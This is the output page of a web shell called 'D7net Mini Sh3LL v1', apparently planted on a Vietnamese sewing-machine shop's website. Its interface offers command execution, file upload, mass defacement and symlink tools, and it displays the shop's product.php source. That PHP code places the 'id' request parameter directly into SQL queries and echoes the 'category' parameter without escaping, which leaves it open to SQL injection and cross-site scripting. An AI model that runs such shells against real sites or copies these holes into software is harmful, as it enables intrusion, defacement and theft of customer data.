D7net Mini Sh3LL v1

 
ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF
Directory (0777) :  C:/Domains/maymaytinson.com/httpdocs/ckfinder/samples/../../include/

 Home   ☍ Command   ☍ Upload File   ☍Info Server   ☍ Buat File   ☍ Mass deface   ☍ Jumping   ☍ Config   ☍ Symlink   ☍ About 

Current File : C:/Domains/maymaytinson.com/httpdocs/ckfinder/samples/../../include/product.php
<?php
$stmt=$conn->prepare("SELECT *,type.id as typeId,trademark.id as trademarkId,product.name AS name,type.name AS type,trademark.name AS trademark FROM product JOIN type ON product.type=type.id JOIN trademark ON product.trademark=trademark.id WHERE product.id=".$_GET['id']);
$stmt->execute();
$product=$stmt->fetch(PDO::FETCH_ASSOC);
if(isset($_GET['category'])){
	$category=$_GET['category'];
}else{
	$category="Tất cả sản phẩm";
}
$startUrl=stripos($_SERVER['REQUEST_URI'], "?");
$_SESSION['url']="product.php".substr($_SERVER['REQUEST_URI'],$startUrl);
?>
<div id="direct"><a href="index.php">Trang chủ</a> <span>></span> <a><?php echo $category; ?></a> <span>></span> <?php echo $product['name']; ?></div>

<div id="collection">
	<div id="leftContent">
		<div>DANH MỤC <img align="center" src="lib/icons/menu.png"></div>
		<div>
			<ul id="category">
				<li class="category"><a>Thương hiệu</a> <span class="arrow"><img src="lib/icons/down.png" align="center"><img src="lib/icons/up.png" align="center" hidden></span>
					<ul class="subCategory1">
						<?php 
							$stmt=$conn->prepare("SELECT id,name FROM trademark");
							$stmt->execute();
							$trademark=$stmt->fetchAll(PDO::FETCH_ASSOC);
							$stt=1;
							foreach ($trademark as $trademark) { ?>
								<li class="category1"><a><?php echo $stt.". ".$trademark['name'];$stt++ ?></a> <span class="arrow"><img src="lib/icons/down.png" align="center"><img src="lib/icons/up.png" align="center" hidden></span>
								<ul class="subCategory2">
									<?php
										$stmt=$conn->prepare("SELECT type.id as id,type.name as type FROM product JOIN type ON product.type=type.id WHERE trademark='".$trademark['id']."' GROUP BY type");
										$stmt->execute();
										$type=$stmt->fetchAll(PDO::FETCH_ASSOC);
										foreach ($type as $type) { ?>
											<li class="category2"><a href="collections.php?type=<?php echo $type['id'] ?>&trademark=<?php echo $trademark['id'] ?>&page=1"><?php echo $type['type'] ?></a></li>
										<?php }
									?>
								</ul></li>
							<?php }
						?>
					</ul>
				</li>
				<li class="category"><a>Sản phẩm</a> <span class="arrow"><img src="lib/icons/down.png" align="center"><img src="lib/icons/up.png" align="center" hidden></span>
					<ul class="subCategory1">
						<?php 
						$stmt=$conn->prepare("SELECT type.id as id,type.name as type FROM product JOIN type ON product.type=type.id GROUP BY type ASC"); 
						$stmt->execute();
						$type=$stmt->fetchAll(PDO::FETCH_ASSOC);
						foreach ($type as $type) { ?>
							<li class="category2"><a href="collections.php?type=<?php echo $type['id'] ?>&page=1"><?php echo $type['type'] ?></a></li>
						<?php } ?>
					</ul>
				</li>
			</ul>
		</div>

	</div>

	<div id="rightContent">
		<div id="contentProduct">
			<div id="leftProduct">
<?php 
				if(substr_count($product['image'], ".")>1){
					$endLink=stripos($product['image'],".")+4;
				}else{
					$endLink=stripos($product['image'],".")+5;
				}
				$linkImage=substr($product['image'],0,$endLink); ?>
				<img src="<?php echo $linkImage; ?>" width="90%"></div>
			<div id="rightProduct"><p><?php echo $product['name']; ?></p>
				<div class="price">
					<?php if($product['discount']>0){?>
					<span class="discount"><?php } ?>
						<?php if(is_numeric($product['price'])){ echo number_format($product['price'])." đ"; }
						if($product['discount']>0){ echo "
					</span>";$product['price']-=$product['discount'];echo number_format($product['price'])." đ"; }if(!is_numeric($product['price'])){ echo "Liên Hệ"; } ?>
				</div><br>
				<b>Tình trạng:</b> <span <?php if($product['status']==0){ echo "id='full'";}if($product['status']==1){  echo "id='empty'";} ?>><?php if($product['status']==0){ echo "Còn hàng";}if($product['status']==1){ echo "Đặt hàng";} ?></span>
				<ul>
					<li>Thương hiệu: <span class="infoProduct"><?php echo $product['trademark']; ?></span></li>
					<li>Dòng sản phẩm: <span class="infoProduct"><?php echo $product['type']; ?></span></li>
					<li>Hỗ trợ lắp đặt miễn phí và bảo hành chính hãng</li>
					<li>Miễn phí giao hàng tại TP.HCM</li>
				</ul><br>
				<div id="guest"><button id="addPay">Mua ngay</button><button id="addPayMobile">Mua ngay</button><button id="addCart">Cho vào giỏ hàng</button></div><br>
				<!-- <b><img src="lib/icons/favorite.png" align="center"> Thêm vào yêu thích</b><br><br> -->
				<!-- <div id="share">Chia sẻ: <a href="" id="tweet"><img src="lib/icons/twitter-white.png" height="100%" align="center"> Tweet</a> <a href="" id="printerest"><img src="lib/icons/pinterest-white.png" height="100%" align="center"> Lưu</a> <a href="" id="facebook"><img src="lib/icons/like.png" height="100%" align="center"> Thích</a></div> -->
			</div>
			<div id="frameCart">
				<div id="titlePayment"><a>Mới thêm</a>
				</div>
				<h2 align="center">Giỏ hàng của bạn</h2>
				<form action="cart.php" method="POST">
				<input type="text" name="idProduct" hidden id="idProductC" value="<?php echo $product['id'] ?>">
				<input type="text" name="nameProduct" hidden id="nameProductC" value="<?php echo $product['name'] ?>">
				<input type="text" name="imageProduct" hidden id="imageProductC" value="<?php echo $linkImage ?>">
				<input type="text" name="priceProduct" hidden id="priceProductC" value="<?php echo $product['price'] ?>">
				<input type="text" name="amountProduct" hidden id="amountProductC" value="">	
					<div id="contentFrameCart">	
						<table>
							<thead>
								<th colspan="2" width="50%" align="left">Sản phẩm</th>
								<th width="20%">Giá</th>
								<th>Số lượng</th>
								<th width="20%" align="right">Tổng tiền</th>
							</thead>
							<tr id="addFrameCart">
								<td colspan="5"><hr></td>
							</tr>
						</table>
					</div>
					<div id="total">
						<h5>Tổng số tiền: <div class="price">0 đ</div></h5>
						<button type="submit" name="addCart">Thêm</button>
					</div>
				</form>
			</div>
			<div id="payment">
					<div id="titlePayment"><a>Mới thêm</a></div>
					<form action="payment.php" method="POST">
						<input type="text" name="idProduct" hidden id="idProduct" value="<?php echo $product['id'] ?>">
						<input type="text" name="nameProduct" hidden id="nameProduct" value="<?php echo $product['name'] ?>">
						<input type="text" name="imageProduct" hidden id="imageProduct" value="<?php echo $linkImage ?>">
						<input type="text" name="priceProduct" hidden id="priceProduct" value="<?php echo $product['price'] ?>">
						<input type="text" name="amountProduct" hidden id="amountProduct" value="1">
					<div>
						<h2 align="center">Giỏ hàng của bạn</h2>
						<div id="contentPayment">
							<table>
								<thead>
									<th colspan="2" width="50%" align="left">Sản phẩm</th>
									<th width="20%">Giá</th>
									<th>Số lượng</th>
									<th width="20%" align="right">Tổng tiền</th>
								</thead>
								<tr id="addPayment">
									<td colspan="5"><hr></td>
								</tr>
							</table>
						</div>
						<div id="total">
							<h5>Tổng số tiền: <div class="price">0 đ</div></h5>
							<button type="submit" name="payment" id="comfirmPayment">Gửi thông tin đơn hàng</button>
						</div>
					</div>
					</form>
			</div>
			<div id="infoProduct">
				<div id="leftTitleProduct">THÔNG TIN SẢN PHẨM</div>
		<!-- 		<div id="rightTitleProduct">ĐÁNH GIÁ SẢN PHẨM</div> -->
				<div id="leftInfoProduct">
					<h2><?php echo $product['name']; ?></h2><br>
					<?php echo nl2br($product['info']); ?>
					<!-- <div>Công nghệ Đài Loan<hr>Bảo hành chính hãng 12 tháng<hr>Giá đã bao gồm VAT</div>
					<br><h2>Mô tả</h2><br>
					<div>Máy may công nghiệp 1 kim liền trục Siruba DL720-M1 model mới nhất năm 2019, máy chạy khỏe, chạy được các mặt hàng mỏng và trung bình.<hr>Máy thân thiện với môi trường, dễ dàng di chuyển từ phòng này sang phòng khác. Phù hợp để gia công, các hộ gia đình hoặc xưởng may công nghiệp nhỏ.<hr>Tích hợp hộp điện tử, bảng điều khiển và motor liền trục tiết kiệm điện. Dễ dàng lắp đặt và sử dụng.<hr>Có thể điều chỉnh tự động vị trí dừng kim trên hoặc dưới, giúp cải thiện thao tác người may.<hr>Thân thiện với người dùng: Trang bị đèn LED, suốt chỉ và chức năng chạy nửa mũi.<hr>Motor servo được tích hợp vào máy, tốc độ cao và ổn định (4000 mũi/phút), và tiết kiệm điện lên đến 60% so với motor cơ thông thường. Tham khảo thêm bài viết <b>Lợi ích của việc sử dụng motor tiết kiệm điện,</b> để hiểu được sự tối ưu của máy may công nghiệp DL720-M1 motor servo liền trục so với các máy 1 kim thông thường.</div>
					<br><h2>Thông số kỹ thuật</h2><br>
					<div>Model: DL720-M1<hr>Kim: DBX1 #11~#14<hr>Tốc độ may: 4000 mũi/phút<hr>Nâng chân vịt: gạt gối 5.5mm, tự động 13mm<hr>Độ dài mũi may: 4mm<hr>Hệ thống bôi trơn: tự động</div>
					<br><h2>Phụ kiện đi kèm</h2>
					<ul>
						<li>1 kim DBX1 #14</li>
						<li>3 tua vít (nhỏ, vừa, lớn)</li>
						<li>3 suốt chỉ</li>
						<li>1 bình dầu</li>
						<li>1 sách hướng dẫn (instruction book)</li>
					</ul> -->
				</div>
			</div>
				<div style='float:none;clear:both'>Sản phẩm tương tự:</div>
				<?php
					$stmt=$conn->prepare("SELECT id,name,image,price FROM product WHERE type='".$product['typeId']."' AND trademark='".$product['trademarkId']."' AND del=0 LIMIT 0,3");
					$stmt->execute();
					$same=$stmt->fetchAll(PDO::FETCH_ASSOC);
				foreach($same as $same){ ?>
				<?php 
						if(substr_count($same['image'], ".")>1){
							$endLinkSame=stripos($same['image'],".")+4;
						}else{
							$endLinkSame=stripos($same['image'],".")+5;
						}
						$linkImageSame=substr($same['image'],0,$endLinkSame); ?>
				<a href="product.php?id=<?php echo $same['id']; ?>&direct=<?php echo $same['name']; ?>">
				<div class="product">
				<div class="detailProduct">
					<div class="hinh"><img src="<?php echo $linkImageSame; ?>" height="100%"></div>			
					<div class="info"><?php if(strlen($same['name'])<60){ echo $same['name']; }else{ echo mb_substr($same['name'],0,50)."...";} ?></div>
					<div class="price"><?php if($same['discount']>0){?><span class="discount"><?php } ?><?php if(is_numeric($same['price'])){ echo number_format($same['price'])." đ"; }if($same['discount']>0){ echo "</span>";$same['price']-=$same['price']*$same['discount']/100;echo number_format($same['price'])." đ"; }if(!is_numeric($same['price'])){ echo "Liên Hệ";} ?></div>
				</div>
				</div>
				</a>
				<?php }
				?><br><br>
		</div>
	</div>
</div>

AnonSec - 2021 | Recode By D7net